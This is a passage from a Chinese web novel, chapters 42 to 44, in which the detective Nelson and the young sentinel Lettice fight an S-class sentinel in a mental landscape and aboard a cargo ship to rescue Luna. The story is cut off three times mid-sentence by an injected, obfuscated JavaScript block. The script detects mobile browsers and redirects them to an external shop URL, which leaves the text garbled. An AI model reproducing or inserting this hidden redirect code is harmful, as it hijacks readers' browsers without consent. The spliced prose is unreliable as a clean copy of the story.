“准确来说是麻醉状态,和我们之前一样。说不定卢娜还有点迷迷糊糊的意识,但不能控制自己的肌肉……哎,那女的真是有病。”尼尔森说。 那个S级的哨兵看起来不是会搞这种花招的人,他猜到这一切就是那个女向导干的:“舱底泵会不断将污水输送到污水仓里,卢娜现在却躺在里面动不了——她这是想把卢娜给淹死。” “……混账。” 莱蒂斯的身体绷得紧紧的,明晃晃的愤怒灼烧着尼尔森的精神屏障。让一个动弹不得的人看着混合着机油的污水一点点将自己淹没窒息,这样的行为只会出自最纯粹的恶意。 就和第一次听见向导之旅的事情时一样,她感到一阵恶心,无法忍受。 莱蒂斯的手指下意识用力抓住尼尔森的衣口,几乎要将柔软的布料捏碎。向导之旅的受害者们,她没机会也没能力去拯救,但至少—— “我们一定要把卢娜小姐平安救出来。” “啊,那是当然。”尼尔森回答,依然带着微笑。 虽然,他其实没那么想救卢娜。 真是奇妙啊。尼尔森被拽着衣领,默默看着少女的侧脸想:她受了这么重的伤,在敌人的地盘自身难保,却从来没想过要逃跑。 莱蒂斯墨绿色的眼睛依然灿若宝石,尼尔森能感觉到她的决心。自从带莱蒂斯潜入自己的精神图景之后,他们之间的共鸣似乎又加强了一些。尼尔森了解自己,在这种情况下,他早该丢下所有累赘自己跑路了,但现在他手都酸了,却还是放不下怀里的小姑娘。 这可不是什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356932|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆头,被本能操纵意味着理智的败退。而尼尔森确实也算不上什么好人,他浑身上下就剩了那么点良心,哪怕加上向导的本能,也就够让他愿意去保护莱蒂斯一个人而已。 在安抚暴走的莱蒂斯的时候,他甚至动过操控她认知,抛下卢娜和海克,直接带她逃出货轮的心思。但最终,他还是选择老老实实地陪着小姑娘继续深入险境。 是因为自己怕她会失望和伤心吗?也许吧。但尼尔森并不承认。他可不是被本能牵着走的那种向导,他还有一个更自私,更符合自己人设的理由——海克.雷德帮塔做过脏活儿,他可不能放过这个情报。 海克肯定和塔达成过保密协议,但如果尼尔森救了他和卢娜,凭这份恩情,想从他那里拿到情报应该不成问题。 就这样,带着这个足以说服自己的,完全出于一己私欲的念头,尼尔森抱着莱蒂斯继续走在船舱之中。 这个男人,起初愿意保护莱蒂斯,是因为布列塔尼的威胁和对莱蒂斯的好奇,之后愿意参与调查,是为了和首席的交易,如今以身涉险,只是为了情报。 武器商人评价他说:“有时候他看起来像是在做好事,但其实只是他自己的利益恰好没有和你的利益冲突而已。” 莱蒂斯听见了,却依然信任他。年幼的野兽自有直觉,尼尔森不断否认自己的心思,莱蒂斯却能清楚地感觉到他不会伤害自己。 她对他复杂的思绪一无所知,反而有些担心他的身体。毕竟在她眼里,尼尔森的战斗力实在是太弱,和农场里的绵羊是一个级别。 果然,在伤痛和负重的压力下,尼尔森体力不支,呼吸变得沉重。 还好他们就要到了。 “放我下来吧。”莱蒂斯说。 他们已经站在了连接舱底水系统的铁门前。他和莱蒂斯都降低了精神屏障,没有探查出异常。 “哎,终于……”尼尔森长舒一口气,也不跟她客气,一边揉着腰一边扶着莱蒂斯站到地面,本着绅士精神,帮她推开了铁门。 在钢铁铸就的走廊里,莱蒂斯看见一缕卷着黄沙的烟尘从自己眼前飘过。 莱蒂斯睁大了眼睛。在意识还没反应过来之前,她条件反射地提高了声音: “尼尔森!跑!” “轰隆隆————” 没有尼尔斯的声音,回答她的是四周传来的轰鸣。枪声,爆炸,大地被撕裂——伴随着火光与热浪,漫天黄沙席卷而来,一座破败荒废的城市拔地而起。 霎那间,残破的楼房如同断裂的巨大石柱,歪斜地插满整片视野。 莱蒂斯瞬间进入战斗状态。她知道袭击迟早会来,她等着的就是这一刻! “酒神节的人来了……快走!”莱蒂斯迎着风沙喊道,她知道尼尔森已不在身后,却还是抬手做出了保护的姿势。右臂上破损严重的半自动机械臂运转起来,她忍痛将它驱动,抬起手臂。 前方什么都没有。她正站在一栋大楼的顶端,俯瞰一片辽阔的战场。远方的太阳若隐若现,她已不在狭窄的船舱。 再一次地,她被强行拖入了一片精神图景。 但这一次,她不会再不知所措了。 弥漫的烟尘之中,莱蒂斯抬起头,冷冷地注视着高处,然后对准某个方向,举起了机械臂。 43. 第四十二章 里奇俯瞰着自己的精神图景。 这里是一座已经化作废墟的城市,空气灼热,黄沙漫天。放眼望去,除了不详的昏黄和楼房的影子,什么也看不见。但“俯瞰”只是一种抽象的说法,这里是里奇的领域,无需启用五感,他自然清楚里面正在发生什么。 “哒哒哒——!” 莱蒂斯驱动机械臂,沿着某种轨迹开抢。狂风迎面而来,她绿色的眼睛依然锁死在半空,没有一点动摇。某一刻,她忽然神色一凛,后撤一步,机械臂以防御的姿势收起—— “铛——” 尖锐的碰撞声转瞬即逝,莱蒂斯挥开手臂上的力量,侧身回旋踢向前方,但那里除了沙尘,什么也没有。 她是怎么察觉到的? 里奇面无表情地观察着。 这个护卫很奇怪。她身上围绕着危险的精神力,随着她攻击的动作,就像是怪物新生的触手那般毫无章法地铺张。这股力量尚且无形,亦没有破坏精神图景的迹象,但按理来说,没有精神图景的护卫不应该具有在精神图景之中作战的能力,她是怎么挡下里奇的攻击的? 作战经验丰富的里奇对此保持谨慎的态度。如同伏击的猛兽在等待最佳的时机,为了能确保一击毙命,他继续试探。 一个轻飘飘的念头后,S级哨兵的精神图景随着他的念想开始变化——高处的日光变得暗淡,远处交火的巨响与振动愈发猛烈,却愈发看不真切。 莱蒂斯身体一顿,猛地回过头去。在她身后,接近百米高的沙尘暴拔地而起,仿佛自无形之风沙中化出的有形之巨兽,遮天蔽日地涌向那孤身站在废弃大楼顶端的少女。 这下,你还能发现它吗? 里奇注视着莱蒂斯的反应。 在那浑浊得几近漆黑的尘暴之中,他的精神动物如影随形。 与此同时,他活动了一下装着半自动机械臂的右手,从货轮高处的阴影里一跃而下。重力拖着他迅速下降,在进入射程范围的瞬间,他的枪口亮起红光。 “砰!” 里奇一边用近乎恐怖的控制力支配着自己的精神图景,一边在现实世界里对着尼尔森开了枪。 尼尔森听从了莱蒂斯“快跑”的建议。 按照他们之前说好的对策,在她喊完他的名字之后,尼尔森就果断把她一抱,捞着她往附近的掩体冲去。 “在跑了在跑了,别催嘛……” 尼尔森一边在心里碎碎念,一边顺手把小姑娘裙摆理顺防走光。 经过莱蒂斯刚刚这么一闹,还敢把莱蒂斯往精神图景里拉的肯定不是酒神节的杂兵,尼尔森虽然没有灵敏的五感,但单凭推理和直觉,也知道这下多半是遇上那个S级的哨兵了。 真倒霉,他压根不知道对方人在哪里。直到一簇火光在半空中爆发,子弹呼啸而来,尼尔森才注意到这人非常装逼地从天而降了。 但侦探说自己擅长跑路可不是在吹牛,他往前一冲,护着莱蒂斯侧摔在地,居然真的用这个狼狈的姿势躲过了S级哨兵的枪口,接着抱着莱蒂斯一个翻滚,闪身藏进了一台巨大机械的背后。 也不知道莱蒂斯在精神图景里怎么样了。她的双眼空洞,身体紧绷,但尼尔森还能感觉到她的心跳和紧张又充满战意的情绪,至少说明人还没断气。 为什么我会摊上这种差事呢……尼尔森无奈又着急地翻着自己藏在西装隐蔽口袋里的小道具,毕竟莱蒂斯特地向他坦白,精神图景战是她的弱点,如果遇上了,只能依靠他了。 之前和海克打了那一架之后,她深深反思了自己——由于没受过任何精神图景作战的训练,被卷入他人的精神图景之后,她没办法维持自己对现实的感知,不能同时在精神图景和现实里作战。 所以哪怕她在精神图景里打得再凶,现实世界里也只是失神地站在原地而已。 敌人可不会放过这个机会,尼尔森只能同时扛起成年人的责任,做两件自己最不擅长的事情:面对战斗和保护他人。 考虑到尼尔森的战斗力和身体状况,小姑娘还严肃地嘱咐过一句,要是自身难保,就丢下自己,独自逃跑。尼尔森很喜欢这个建议,然后被自己的本能迎头痛击:一想到莱蒂斯会死,他又开始身体发冷,毫无理由地恐慌。 枪声不断,接着是哨兵落地的声音。尼尔森看了眼身后,是一个通往更下层空间楼梯。他拿出一个口红大小的小型气体压缩瓶,又掏出一个卡片一样轻薄的机械设备。 这俩玩意儿吧,贵是贵,但他买来就是保命用的,这会儿不用以后可就没机会用了。 他打开压缩瓶,瓶内的气体在霎那间弥漫,和船舱内的分子相互碰撞,融合,将整个空间内所有东西散发出不同气味都变成了同一种,当然也包括他和莱蒂斯身上的血腥味。 哨兵因此无法通过嗅觉寻找他们的行踪。 没有片刻犹豫,尼尔森又启动了那个机械设备,这下,哨兵的子弹和脚步都停滞了一瞬。 尼尔森手里的机械发出了特定频段的声波,普通人的感官难以察觉,哨兵却能够接收。 这声波比尼尔森手机里那个有用多了,只有专门的构造才能发出。它稳定且特殊,哨兵的听觉对它的接收优先度高于其他声音,只要它存在于船舱内,哨兵就很难再听到其他声音。 借此,尼尔森隐藏了自己带着莱蒂斯移动的声响,然后猛地停止移动的脚步,换了个方向。 就在这时,几颗接连而来的子弹发射过来。它们以完全相同的弹道贯穿了作为掩体的大机器,最后一颗子弹正好穿过弹孔,精准地打在了尼尔森按惯性本该前往的位置。 船舱里的机器还在运转,弹道避开了它的关键结构。 操了,真恐怖,尼尔森心有余悸地想。所以这个哨兵一直都知道他们移动的轨迹,只是为了避免在货轮舱底引发爆炸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356933|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直守株待兔地,等到他们走到对大型机器来说更安全的角度才动手的。 只是尼尔森刚刚干扰了他的听觉和嗅觉,他才没发现尼尔森的路线改了。 但这个S级哨兵是一个出手干脆果断的人,他应该没兴趣在感官被干扰的情况下和我捉迷藏。尼尔森想。既然他没有成功击杀我,那么下一步就该采取更高效的措施了。 比如直接扩大精神图景的范围,把尼尔森也拉进去干掉。也许他一开始以为尼尔森不需要用这招对付,但现在应该也改观了吧。 尼尔森握着发出干扰声波的,卡片似的小机器,眼睛里亮起金色的光。 “你是想让我把你拉进精神图景吗?” 下一秒,S级哨兵的声音响彻船舱。 “……” 尼尔森睁大了眼睛。 “你以为我没有听见你那间集装箱里和那两个低等级哨兵的动静吗?”S级哨兵冷声说,他不认为自己将尼尔森判断为一个耍小聪明的向导是错误的,但——“没有人会把一个能引发认知偏差的向导拉进自己精神图景。” “你并不是不能使用能力,对吧。尼尔森.莱顿。” 猝不及防地,哨兵喊出了他的全名,尼尔森浑身一僵。 “戈林酒店诈骗案,国家美术馆盗窃案,劳德银行抢劫案,斯卡伯勒赌场诈骗和抢劫案;盖特机场袭击案,皇家音乐学院教唆自杀案,还有刺杀塔的首席——” “你很有名,虽然没什么人真的见过你,但很多人都听说过棕色眼睛的危险向导,没人想得到你会变成现在这个样子。之前是我一定程度上的判断失误了,但你眼睛颜色变了,我没有把你往‘莱顿’这个人身上联想。” 原来是被认出来了。太遗憾了,要是真的被拉进精神图景,他就可以为所欲为了。 尼尔森抱着莱蒂斯,无声地咧开了嘴角。 私家侦探眼中金色的光芒不灭反升,如同剧毒的金色沼泽。 还好莱蒂斯没听见,现在可不是个解释自己清白的好时机——这S级哨兵的话可是实打实的诽谤,上述大案他确实干了大半,但那个机场袭击和教唆自杀还真不是他干的。 要知道,除了因为实在看不惯而去刺杀了首席那个老太婆之外,他从来都只是劫那群有钱人的财。 不过如对方所说,真正见过他的人其实不多,尼尔森也不记得自己和这个哨兵认识,多半是对方发现他会用认知误导之后联系人查了。 有认知误导能力的向导凤毛麟角,但尼尔森的资料也不好找。这人和塔也有联系?意外情报啊。 尼尔森想着,摩挲起手里的小玩意。他善于认知误导,虽然现在不能用自己的能力,但用机器也可以将就一下。于是,他故意打乱了左边某个位置声波的频率。 没过几秒,左边另一个大型机器旁传来枪声。尼尔森趁着对方被引过去,抱着莱蒂斯,跑下了楼梯。 44. 第四十三章 沙暴之中,莱蒂斯在与烟尘缠斗。 事实上,她并不能辨明袭击她的到底是什么东西。粗糙的沙尘打着她的皮肤,她清楚有什么东西就在里面蛰伏,却一直找不到它的实体。 对方攻击的力道相当凶狠,速度也快,伴随着又一阵猝不及防的狂风,某种尖锐的疼痛从她手臂上一闪而过,疼痛和血液猛然炸开——她又被削掉了一块肉。 莱蒂斯吃痛,却没有慌乱。 少女的身上此时已经多了不少划痕,破碎的皮肉在她皮肤表面拉出一道道血红的沟壑。 这精神图景的主人相当危险,这样的伤情已经是莱蒂斯防御成功的结果。 对方的攻击每一次都是冲着她致命的部位来的,她的脖颈,她的心脏,她受伤的右腿。她成功避开了,却也愈发地着急起来——现实世界的尼尔森没了自己的保护,要怎么面对酒神节的袭击呢?他都已经被打得那么惨了。 “……” 尼尔森脸上的淤青突然浮现在脑海,着急的莱蒂斯短暂地思考了一下。之前侦探还在跟她嘴犟,说这打是他故意挨的,可她问他是怎么通过挨打自己逃出来的,他又说不适合小孩听,然后转移了话题。 莱蒂斯肯定是不信他的,以尼尔森的体能和嘴贱,不需要故意也逃不出一顿打。但现在,她忽然觉得尼尔森的话也有可取之处。 于是下一次袭击到来时,莱蒂斯的判断失误了。沙尘中潜藏的东西也注意到了她会优先保护自己脆弱的部位,因此故意先冲着她脖颈攻去。 年轻的共感者匆忙闪躲,将机械臂抬起至上方,可转瞬间风向改变,对方硬生生地拐了个弯,直冲她暴露出的胸口而去—— “铛!” 一块硬质的钢铁挡在了少女心脏前方,与敌袭相撞。 莱蒂斯手握一把左轮,横在自己胸口,绿色的眼睛如同风沙中不灭的鬼火。这是她从酒神节的哨兵劳瑞那里学来的——谁说她装备的只有半自动机械臂一样武器了? 借着这个瞬间,少女终于与袭击者四目相对。 一只翼展两米的猛雕睁着冷而锐利的眼睛,尖锐的喙如同利刃。然后转瞬间,这迅猛的,能以巨蜥为食的猛禽煽动火山灰般漆黑的翅膀,忽然化为飞沙,随风融入了沙尘暴之中——在精神图景中,共感者的能力会得到加强,甚至能够赋予自己的精神动物与环境相辅相成的能力。 可敌人强大的精神力并没有让莱蒂斯惊讶。少女的瞳孔猛地紧缩起来,脑子里只剩下一个念头。 她认得这双眼睛。 精神动物是主人人格的具象化。在皇家格兰戈医院里,和伪装成卢娜小姐的向导站在一起的哨兵,那个伤害了卢娜小姐和尼尔森,准备杀害海克先生的哨兵,也有这样一双冷而锐利的,棕色的眼睛。 里奇突然感觉到那个护卫的精神力变强了。 变强是一种委婉的说法,它更像是一道闪电般横贯天地的利刃,重重劈在了他的精神图景之中。它依然没有实体,里奇也没有受到伤害,但这S级哨兵的精神图景居然违背了主人的意愿,兀自发生了巨变。 漫天黄沙在这瞬间消散,天空变成一片曝光过度般的空白,他的猛雕盘旋在目标头顶,像是被硬生生撕去了伪装般,从烟尘变回了实体。 与此同时,少女转动眼球,她的机械臂对准猛雕,目光却移向了远处的建筑。在那里,里奇亦站在精神图景之中。 被发现了?里奇和她遥遥相望,可少女那冰冷的目光刺穿了精神图景与现实世界的隔阂,里奇忽然感觉到她也锁定了另一个自己。 自己在现实中的本体。 原来如此,里奇冷静地想。她是哨兵,还是个在战斗中能影响到S级哨兵精神图景,无师自通将要学会现实和图景同步作战的强大哨兵。 也是一个从没受过训练,完全不足以与他为敌的哨兵。 猛雕迎着枪口,俯冲而下。莱蒂斯的弹道紧咬在它飞翔的轨迹之后,数次掠过它的羽翼。她不再躲闪,甚至主动追着猛雕的方向,从一座大楼的顶端跳向另一座。可下一秒,伴随着阵阵爆炸的轰鸣,黄沙四起,再次改变了天空的颜色,莱蒂斯感到脚下一空,惊愕地发现眼前的楼宇已经龟裂,然后四散坍塌。 糟了……! 重力拖着她和崩塌的混凝土一起下坠,少女的长发和裙摆在风中飘逸。而那猛鹰忽然从她枪口瞄准之处消失,一阵风沙掠过后,就已经出现在了她眼前。 猛禽尖锐的喙直指莱蒂斯的眼球,少女无畏地直视着,准备以眼睛为代价,等它袭击的瞬间予以反击。 她一定要打败他。 这可是伤害了她要保护的人的哨兵! 可如今,莱蒂斯对他心中升起的,却已然不是杀意,而是决心。 她必须马上结束这场战斗,否则,就没人能保护尼尔森了。 “呃……” 尼尔森压抑住喘息,尽量小心地潜行。他现在也不知道自己是在往哪跑,总之先跑着吧。 下楼之后,他就没再听见哨兵追过来的声音。虽然他的听力不可靠,但这个事实多少还是令人感到宽慰的。他继续操纵着手里的声波发射器,把哨兵引去错误的方向,想凭这玩意甩掉一个S级哨兵是不可能的,他知道自己很快就会被识破,但能拖一阵是一阵吧。 然后他就看见前方拐角处的阴影里,一抹红光突兀地亮起。 操。尼尔森把莱蒂斯往自己怀里护了一下。虽然他有心理准备,但也别这么快啊?! 阴影里,S级哨兵举着枪口,缓缓向他走来。 “你本来就清楚自己不可能逃掉。”他点评道,“但你应该庆幸,至少你拙劣的把戏真的起了一次作用。” “哈,那还真是我荣幸。”尼尔森露出个笑来,脑子拼命地转,“好吧,你抓到我们了,然后呢?你想和我聊什么?” 里奇半自动机械臂上的红光依然不灭:“你似乎觉得你能继续拖延,但你的心跳暴露了你的情绪,向导。你并不像你表现得那么冷静。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356934|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “别对人这么苛刻啊,谁被枪指着不紧张?”尼尔森回应,“但你确实是有话和我说对吧,你是个不拖泥带水的人,何必整这么一出神秘出场?想杀我们的话你早动手了。” 里奇盯着他看了两秒:“我在确认,你到底是不是那个尼尔森.莱顿。如果你是……” “把我拉进你精神图景里,我马上给你看看我是不是。”尼尔森乐了,“所以呢,如果我是,你要做些什么?” 里奇举着枪口,冷静地向他走来:“能够认知误导的向导是重要资源。既然你的能力还能用,那就不能杀。如果你真的那个强大的向导,我会强制结合,让你为我们所用。” “……” 结你妈啊!尼尔森的笑容绷不住了,这他妈哪出,他今天是不是遇到太多贞操危机了?虽然这人还没摸清尼尔森使用能力的机制,说不定确实可以趁机控制这个S级哨兵,但是这个方式…… 还是算了吧! 他看着冰冷的枪口,在内心狂喊:救一下,莱蒂斯,救一下!你快醒醒啊! “————” 那灿如白昼的,刺目的光芒,就是在这时从天而降的。 光的传播何其迅速,里奇即使瞬间拉高了视觉屏障并闭上双眼,他的视觉还是被影响到了。慢着光芒一步而来的是巨大的噪音,但经验丰富的里奇明白袭击他的是什么,已经先一步竖立好了听觉的防御。 闪光弹。 可S级的里奇在削弱了自己五感中重要的两感之后,依然能辨明方向,他闭着眼睛转身开枪,但一个人影闪过,几乎是瞬间杀到了他的面前。 半自动机械臂的红光变成了两道,S级哨兵成功躲开了攻击,但左肩被子弹带走了一块肉。 在他的精神图景里,坠落的莱蒂斯忽然看见阳光刺穿了漫天沙尘。世界颤动,天地崩裂,涌入明亮而混乱的色彩,随着一条宽阔的河流劈开大地,亚马逊的绿意吞噬了城市的废墟——自然与人类战场的遗迹格格不入地相互穿刺,像是两幅错乱了的拼图。 莱蒂斯惊讶地睁大了眼睛。 她曾经见过这片雨林。 “海克先生!” 伴随着她的喊声,男人的身影一闪而过。他直接削掉了精神图景中的距离,在密林不断攀升的树冠上一枪逼退了靠近莱蒂斯的猛雕,而一只亚马逊森蚺无声出现在里奇身后,向他扑去。 “海克先生…!我们找到卢娜小姐的位置了!”莱蒂斯对着那身影大喊,“她在污水舱里,我们——唔!” “扑通!” 话没说完,她掉进了亚马逊的河流里。柔软的水流拥抱她满是伤痕的身体,倒也不痛。 卢娜.雷德说:我的哥哥,是一个善良的人。 自水流中,这位兄长的声音传来:“你是,在餐厅时的护卫。你替白鸟审问伦滋,我听见了——你是个好人。” “顺着河流的方向,你能离开这片精神图景。” “去救卢娜。这个人,交给我。” 45. 第四十四章 很快,尼尔森闻到了海水和污水的味道。 在海克的帮助下从S级哨兵手中脱身后,莱蒂斯恢复了意识。尽管腿伤让行走艰难无比,少女还是以最快的速度向污水仓赶去。 她一直紧紧牵着尼尔森的手,似乎是怕又会有一场突如其来的袭击分开她和向导。不过尼尔森知道,小姑娘更想快点赶路,要不是现在腿受伤了,她肯定又要把他扛起来跑了。 “我们会回来找您的,海克先生!” 在亚马逊的河流里,少女这样向杀手承诺,那干净而坚韧的情感像是树木新生的枝桠。 “不需要。” 然而河流传递来了杀手的拒绝,冷酷又温柔。 “找到卢娜,就带她离开。” “你们要一起,先逃出去。” “……莱蒂斯,你听我说。” 船舱底部的空间大多都是空洞,莱蒂斯和尼尔森的脚步声在架在半空的铁质楼梯上回响,不知不觉变成了同一频率。 尼尔森感应到少女难以抑制的焦虑和不甘心,只想叹气。 “你要明白,你现在做到的事情已经很不可思议了。”尼尔森看着她的背影,“抵抗A级向导的入侵,杀爆半艘船上的哨兵,从一个S级哨兵的精神图景里逃出来,去救一个被认知误导藏起来的昏迷的人质。等这桩案子结了,圣卢塞特的塔从中层管理到临时工全都得给你磕一个。” “海克也说了不需要帮忙,所以,不要把海克也当作责任也扛在自己身上。你已经够努力了。一个人一辈子能救下一条人命就已经是奇迹,要是把拯救所有人当作目标,只会把你自己压垮。” 何况海克那个状况…… 尼尔森不动声色地皱了皱眉,莱蒂斯作为一个不配与向导结合的护卫长大,对很多事情一无所知,所以至今没注意到异常,但…… “……” 莱蒂斯没回应他,只是执拗地前行。压抑的船舱里,她有些凌乱的黑色长发在他眼前晃动,白色的裙摆上绽放着已经氧化的血痕。 尼尔森突然想起她刚刚换上这套小礼裙的时候。 那会儿他们还在武器商人们的店里,尼尔森如约拍了照片发给布列塔尼。手机屏幕里的莱蒂斯站在一排排枪械前,表情冷冷的,看着像个高岭之花大小姐。但尼尔森乐呵呵地举着手机换角度连拍,镜头捕捉到少女微红的耳尖,他知道莱蒂斯只是第一次穿这种类型的小裙子,有点高兴,又有点手足无措罢了。 他可没想过着条裙子会沾满鲜血。 ……算了。 尼尔森想了几秒,决定选择闭嘴。 就像他之前随手搞坏了矮子哨兵的脑子那事儿一样,有些事情是不适合告诉这种单纯小孩的。 而且,即使莱蒂斯没有回头,尼尔森也知道她状态有多糟糕。精神图景里的战斗大量消耗了她本就所剩无几的精力,还在精神层面造成了创伤。 莱蒂斯脸色白得不像话,一直小声地吸着鼻子,这可不是她在委屈,她只是在忍耐,忍耐疼痛、眩晕,以及流泪和干呕的冲动——她刚刚就那么毫无防备地硬抗了S级哨兵图景里的沙尘暴,至今没能摆脱它的影响。 要不是有强大的意志力支撑,这么毫无节制地透支体力和精神,她早该晕过去了。 一个十七岁的小姑娘,听力暴走之后又直面S级哨兵,哪怕以尼尔森的标准来说,也确实有点残忍了。 “开一下屏障,莱蒂斯,你需要精神疏导了。” 她刚醒的时候,尼尔森就是这么说的。他单手抱着她,点了点她额头,结果莱蒂斯维持着她厚得离谱的屏障,就是不让尼尔森进来。 她睁着绿色的眼睛,面无表情地看着尼尔森说:“先去救卢娜小姐。” 于是尼尔森知道自己肯定又劝不动了。 现在也一样,莱蒂斯并没有因为他开导的话语放下心理负担。她不是不想听,而是已经听不进去了。 尼尔森能感觉得到,不得不抛下海克后,她所背负的压力已经将她压到了摇摇欲坠的地步。她执着,却又无措,如同被沉重而晦暗的雨云笼罩,浸泡在一片湿冷与昏暗中,除了继续前行,她找不到别的办法—— 她已经有些偏执了。 一路走来,她看见了太多超出她想象的事情,白鸟死去的身体,海克悲惨的过去,卢娜的命悬一线,伦滋的有恃无恐,以及数不胜数的,在酒神节受害的向导的悲剧。她的信念从没动摇,但她的痛苦却一再加深。自知无法与圣卢塞特整座城市的黑暗对抗,她想,至少她要救下卢娜和海克,让这对无辜的兄妹回归应得的生活。 否则,她将愧对他们经历的悲剧,愧对正义之秩序。 她将愧对自己的内心。 这个在她看来理所当然的信念支撑着她不倒下,但尼尔森知道,它也随时都有将她的精神压垮。 因为这里是圣卢塞特。在这里,无辜之人倍受折磨,罪恶之人才能纵情享乐。 而无论是谁,最终都会被其吞噬。 可即使如此,尼尔森还是能感觉到有微弱的正面情绪从莱蒂斯身上传来,如同萤火闪烁。那是她对自己的回应,她在对尼尔森的关心在报以感激。 “唉……你要是真的谢我,就哪怕有一次真的听我的劝啊。” 尼尔森对此哭笑不得,他宁可莱蒂斯别这么想。他实在拿她没辙了,而目的地也近在眼前。船舶污水仓里的内容物基本由海水和污水组成,连尼尔森都闻得见污水的味道,说明他们已经非常接近了。 侦探难得地认真了起来,看向莱蒂斯金色双眼说不上是温柔还是强硬: “这样,莱蒂斯,待会我最后再辅助你一次,之后你必须接受精神疏导。” “我是认真的,你不能再这么硬撑了。” 借由他们相握的双手,他伸出精神触须,轻轻敲了敲她的屏障。 “……我会接受的。” 终于,莱蒂斯小声回应了他的唠叨。 像是想要安慰尼尔森,又像是想要稳定自己的情绪一样,她用力握了握他的手:“你说得对,我相信海克先生没有问题……所以等你和卢娜小姐都安全之后,我会让你帮我的。” “只要……等你们都安全了。” 她牵着他,钻过最后的架空层,一起踏上了污水舱里的平台。 空间突然变得宽阔而漆黑,水声发出空洞的回响。 污水舱比大多数人想象得都要大。 四周几乎没有照明,毕竟除了检修,一般也不会有人来这个地方。船舱在河流上摇晃,莱蒂斯有些眩晕,感觉有只怪物不知何时将他们吞进了腹部。 她向前一步,摇晃忽然停止,一种突然坠入真空的窒息感袭击了她。 眼前一片黑暗,耳边寂静无声,身体像是死去了一样没有知觉—— 五感封闭! 莱蒂斯深呼吸了一下,但毫不惊慌。她失去了和尼尔森十指相握的感知,但在黑暗中,她听见一阵笑声响起。 那并不是感官传递而来的信息,而是灵魂层面的共鸣。 一双金色的眼睛如同日轮碎片在她身边显现,空旷的污水舱里,尼尔森笑道:“哈,封闭感官?就用这个来招待我们吗?” “有点尊重之心,好歹用上认知误导嘛——你们这些家伙啊,先看看你们想封住的是什么人吧!” 两人早知道污水舱还会有埋伏,因此随着侦探上挑的尾音,莱蒂斯像约定的那样解放了听力屏障。 她不再害怕外界向自己涌来无数的声响,因为金色的光芒在她眼中延展,如同火焰煌煌而燃——那是尼尔森在用自己向导的能力为她屏去信息流干扰。 下一秒,快要报废的机械臂在少女右手上发出红光,半自动冲锋枪像是拦截导弹一样,直接击落了从黑暗中朝着他们飞来的子弹。 人类尖端科技才能做到的事情,少女仅用听力就完成了。 本来计划趁两人感官封闭时将他们击毙的伏兵们睁大了眼睛,他们不可置信地再次举枪,却发现自己的神经像是生锈了一样不听使唤—— 有视线落在了他们身上,那是繁复的星星,是野兽的眼睛。 莱蒂斯无形的狼群出现在污水舱的空间里,只是注视,就已经让他们恐惧。 “唔……” 而它们的主人,甚至没将目光放在他们身上。 莱蒂斯忍着机械臂系统紊乱带来的疼痛,将注意力集中在污水舱漆黑的水面之中,在那里,她找到了一道被藏起来的心跳。 “啊,找到了。” 她睁开眼睛,在尼尔森的辅助下,敌方向导的感官封闭在她煽动睫毛的瞬间就轻而易举地破碎了。 她真的很着急,透支的身体也真的已经快要扛不住了,时间对她来说非常紧迫,于是这率领着群狼的少女轻轻扫了一眼仍然指着自己的枪口,用毫无波动的语气对酒神节的哨兵们冷声道: “我们是来救人的,不要浪费我们的时间。” “要动手还是要投降,现在就做出你们的选择。但相信我,无论你们做什么,结局不会有任何改变的。” “铛!” 海克手里的双刃直刀扎进里奇机械臂的关节,固定住这件高科技武器,然后反手转动自己手臂上搭载的半自动机械臂朝里奇下巴开枪。 里奇看穿了他的想法,转动腕部卡住海克的直刀,把海克整个人往下一扯,躲开了擦着耳尖发射的子弹,同时抬膝向海克的腹部撞去。 海克也不躲,找准了攻击角度,拔出直刀在手中一转,刺向里奇腿部动脉。里奇反应更快,攻击停在半空,转而把海克推了出去,拉开距离,只被划出了一道深深的口子。 没有片刻停顿,他们的枪口再次瞄准对方,下一轮交战继续。 海克.雷德。 里奇在心中默念这个名字。 这个人曾经是酒神节的看守,阴郁而沉默。里奇和他见过两面,只当他是那种阴沉的毒虫,和其他看守一丘之貉,从没把他当回事过。 但和对方交手的瞬间,里奇就改变了看法。 这个人散发的杀气毫不收敛,确实是那天他和米拉在酒神节感受到的那种——他擅长所有武器,刀,枪,半自动机械臂之间的切换炉火纯青,熟悉人体构造,几乎凭借本能就能确定移动中的目标致命内脏的位置,精神毫不动摇,且体术高超。 这是一个经过特殊训练的哨兵。 或者更有可能的,这是一个经过特殊训练的杀手。 大型机器不断发出轰鸣,让货轮的船舱更加燥热,子弹和刀光不断交替闪烁,映出两个哨兵交战的身影。里奇和海克同时意识到,无论是中远距离作战,还是近距离肉搏,对方都不容小觑。 